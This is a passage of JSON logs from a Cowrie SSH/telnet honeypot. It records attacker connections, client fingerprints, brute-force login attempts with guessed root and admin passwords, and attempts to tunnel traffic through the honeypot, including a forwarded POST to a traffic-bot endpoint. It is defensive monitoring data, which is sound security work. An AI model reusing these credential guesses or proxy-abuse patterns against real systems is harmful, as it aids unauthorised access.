3\\xf2\\xfb\\x12D0\\xe8\\n\\xfaX\\xfeK\\xfaK\\x17\\xb4\\xe28\\xca\\xb7\\xd3\\xf2\\xa9<J\\x92\\xb1\\xef)\\t\\xd6|\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:04:08.662814Z","src_ip":"173.208.188.210","session":"580efc54643b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:04:08.689260Z","src_ip":"173.208.188.210","session":"580efc54643b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1162\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.75 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=aG5odUBVUG5faHg3dkJRNQ%3D%3DPRJ2YD82wukfVpFkxz0pRA%2FcIrkqYU8Mgamilu94HfPi%2BNcuCLfyQQvN82rnkWu%2BKnVxcWhAmOe3QEkBNrYZtqGWgfw6je2p7rSeeNCAkwxQgbtsfE%2BrW8ogZrYvuVAY1WVxNvU5nQzk6k3w7%2FDxTcxSjx1cnTKpLNPQHWeJ2ycwj8CnXTZ%2BCaxQehQhV6RJ8nE%2Fqp6l7%2FuDSFIaSry%2FDeY0dCE42Uyw5whjfxqVSWZXCxmCef3394uWPjabeJuK3lF6CTwOQUHP%2BLX29c%2BnyuMPVj253GV5UfcpSRHXhrMvUNcg53Ngapm9YXM4X6e1iSmlW1A9NkHh87u5InaRD9%2Fovsg7Mr%2Bg0eacaVYhyFvkjht2XBm8tqFtkIedWWe665cK9QDy1JumT0IdCWqoT7RtVKK8SEcN486u31dHxO4kyIVJz4M1deViH09G4I2h4zqF%2FKLFrRK%2FshJwFu2ntYvqc96KwVfFWx8hu5DdJ6xMMnVgMx%2FIjabWbL%2ByR55B5xphqXSpW%2Fh8g6RpIr2bUFQmNB%2FI%2Bu7gZ1Rk2VxMzDrpPLz%2FhICtk%2Fpu1ubBdcW0cBtxFejD02jUJc9q6t3fVY8jNWeKCkHOo%2FWhRT3thKXJD7tRCfi%2BPAuGswtAosemG6ZD%2BdyGFrohELptx5inGL6IiOtK1JbcNSyWPawIajulXyQAgE6irIrwPuNT0AYaVtmAqj6ZANNykQrMDCJnqYegmLNIClUQ879RktUKFu4HJj0FeORq44H5CwnraSdziE0Dvhn1XdiZzw01bBz%2FYlRIGoCXsTzPU6VP%2FIEJ84WB9sQ3Z6AkSVoYCvLMk95C88H8eoB%2FxSpb3niaiWiA3QLHCVISFGFfmimsstbLkEU6y2%2BIYEKyP1ijvHqV9H3NorFXtaKWeKopSF20wJQcIkWhbqazr6rtCAGCE0FRwkAcmz61vaIayW25JJe9GU0mpfuEfQb7TBTDVjMvHRqtUFZRTqX%2BUYF3RTh2nrZsKVAeVvoau19lui3yPTh7NR3kZ6Z4CRLyXOjxI3FBhk2fdhT2ITQgQgebs3QRfa8p%2F3k%3D'","id":2,"message":"discarded direct-tcp forward request 2 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1162\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.75 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=aG5odUBVUG5faHg3dkJRNQ%3D%3DPRJ2YD82wukfVpFkxz0pRA%2FcIrkqYU8Mgamilu94HfPi%2BNcuCLfyQQvN82rnkWu%2BKnVxcWhAmOe3QEkBNrYZtqGWgfw6je2p7rSeeNCAkwxQgbtsfE%2BrW8ogZrYvuVAY1WVxNvU5nQzk6k3w7%2FDxTcxSjx1cnTKpLNPQHWeJ2ycwj8CnXTZ%2BCaxQehQhV6RJ8nE%2Fqp6l7%2FuDSFIaSry%2FDeY0dCE42Uyw5whjfxqVSWZXCxmCef3394uWPjabeJuK3lF6CTwOQUHP%2BLX29c%2BnyuMPVj253GV5UfcpSRHXhrMvUNcg53Ngapm9YXM4X6e1iSmlW1A9NkHh87u5InaRD9%2Fovsg7Mr%2Bg0eacaVYhyFvkjht2XBm8tqFtkIedWWe665cK9QDy1JumT0IdCWqoT7RtVKK8SEcN486u31dHxO4kyIVJz4M1deViH09G4I2h4zqF%2FKLFrRK%2FshJwFu2ntYvqc96KwVfFWx8hu5DdJ6xMMnVgMx%2FIjabWbL%2ByR55B5xphqXSpW%2Fh8g6RpIr2bUFQmNB%2FI%2Bu7gZ1Rk2VxMzDrpPLz%2FhICtk%2Fpu1ubBdcW0cBtxFejD02jUJc9q6t3fVY8jNWeKCkHOo%2FWhRT3thKXJD7tRCfi%2BPAuGswtAosemG6ZD%2BdyGFrohELptx5inGL6IiOtK1JbcNSyWPawIajulXyQAgE6irIrwPuNT0AYaVtmAqj6ZANNykQrMDCJnqYegmLNIClUQ879RktUKFu4HJj0FeORq44H5CwnraSdziE0Dvhn1XdiZzw01bBz%2FYlRIGoCXsTzPU6VP%2FIEJ84WB9sQ3Z6AkSVoYCvLMk95C88H8eoB%2FxSpb3niaiWiA3QLHCVISFGFfmimsstbLkEU6y2%2BIYEKyP1ijvHqV9H3NorFXtaKWeKopSF20wJQcIkWhbqazr6rtCAGCE0FRwkAcmz61vaIayW25JJe9GU0mpfuEfQb7TBTDVjMvHRqtUFZRTqX%2BUYF3RTh2nrZsKVAeVvoau19lui3yPTh7NR3kZ6Z4CRLyXOjxI3FBhk2fdhT2ITQgQgebs3QRfa8p%2F3k%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:04:08.692614Z","src_ip":"173.208.188.210","session":"580efc54643b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.3","message":"Connection lost after 20.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:04:15.315617Z","src_ip":"173.208.188.210","session":"580efc54643b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":83.53606724739075,"message":"Connection lost after 83 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:04:21.128660Z","src_ip":"94.23.66.112","session":"2ae665d85237","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.1","message":"Connection lost after 15.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:04:22.708600Z","src_ip":"66.132.172.129","session":"24534c5859d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.068296194076538,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:04:23.018023Z","src_ip":"66.132.172.129","session":"89f698675ac3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.886648416519165,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:04:23.022034Z","src_ip":"172.81.62.90","session":"2606ad71b1cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.129","src_port":6004,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3f680a2f3a9","protocol":"telnet","message":"New connection: 66.132.172.129:6004 (10.17.0.5:23) [session: b3f680a2f3a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:04:26.105279Z"}
{"eventid":"cowrie.session.closed","duration":3.1854450702667236,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:04:29.290587Z","src_ip":"66.132.172.129","session":"b3f680a2f3a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.129","src_port":8346,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a8e8e1116c2","protocol":"telnet","message":"New connection: 66.132.172.129:8346 (10.17.0.5:23) [session: 0a8e8e1116c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:04:32.369573Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.60.242.169","src_port":45832,"dst_ip":"159.203.135.109","dst_port":22,"session":"95d2b56f2d8d","protocol":"ssh","message":"New connection: 103.60.242.169:45832 (159.203.135.109:22) [session: 95d2b56f2d8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:04:36.058798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:04:36.067057Z","src_ip":"103.60.242.169","session":"95d2b56f2d8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:04:36.321208Z","src_ip":"103.60.242.169","session":"95d2b56f2d8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword12345","message":"login attempt [root/P@ssword12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:04:37.363503Z","src_ip":"103.60.242.169","session":"95d2b56f2d8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:04:38.622344Z","src_ip":"103.60.242.169","session":"95d2b56f2d8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.11907696723938,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:04:42.488535Z","src_ip":"66.132.172.129","session":"0a8e8e1116c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":47998,"dst_ip":"159.203.135.109","dst_port":23,"session":"db195151512f","protocol":"telnet","message":"New connection: 172.81.62.90:47998 (159.203.135.109:23) [session: db195151512f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:04:47.908305Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":36242,"dst_ip":"10.17.0.5","dst_port":22,"session":"0751727eba5a","protocol":"ssh","message":"New connection: 103.82.132.16:36242 (10.17.0.5:22) [session: 0751727eba5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:04:49.703366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:04:49.708257Z","src_ip":"103.82.132.16","session":"0751727eba5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:04:49.954233Z","src_ip":"103.82.132.16","session":"0751727eba5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"110884","message":"login attempt [root/110884] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:04:50.718776Z","src_ip":"103.82.132.16","session":"0751727eba5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":55906,"dst_ip":"10.17.0.5","dst_port":22,"session":"a888d3deda97","protocol":"ssh","message":"New connection: 103.149.28.157:55906 (10.17.0.5:22) [session: a888d3deda97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:04:51.192730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:04:51.196907Z","src_ip":"103.149.28.157","session":"a888d3deda97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:04:51.469422Z","src_ip":"103.149.28.157","session":"a888d3deda97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:04:51.967376Z","src_ip":"103.82.132.16","session":"0751727eba5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"200119","message":"login attempt [root/200119] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:04:52.234613Z","src_ip":"103.149.28.157","session":"a888d3deda97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":49424,"dst_ip":"159.203.135.109","dst_port":23,"session":"eaf0d0d108ba","protocol":"telnet","message":"New connection: 172.81.62.90:49424 (159.203.135.109:23) [session: eaf0d0d108ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:04:53.059464Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:04:53.489954Z","src_ip":"103.149.28.157","session":"a888d3deda97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00132870674133,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:05:05.741303Z","src_ip":"94.23.66.112","session":"66e4843d345d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":3692,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a8c3cc52ebe","protocol":"ssh","message":"New connection: 87.251.64.176:3692 (10.17.0.5:22) [session: 2a8c3cc52ebe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:05:19.994766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:05:19.999179Z","src_ip":"87.251.64.176","session":"2a8c3cc52ebe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:05:20.141726Z","src_ip":"87.251.64.176","session":"2a8c3cc52ebe","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:05:20.511251Z","src_ip":"87.251.64.176","session":"2a8c3cc52ebe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":38484,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7415d962118","protocol":"ssh","message":"New connection: 27.71.230.31:38484 (10.17.0.5:22) [session: a7415d962118]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:05:20.605631Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:05:20.649580Z","session":"2a8c3cc52ebe","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:05:20.779202Z","src_ip":"87.251.64.176","session":"2a8c3cc52ebe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:05:20.902470Z","src_ip":"87.251.64.176","session":"2a8c3cc52ebe","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:05:21.251900Z","src_ip":"27.71.230.31","session":"a7415d962118","protocol":"ssh"}
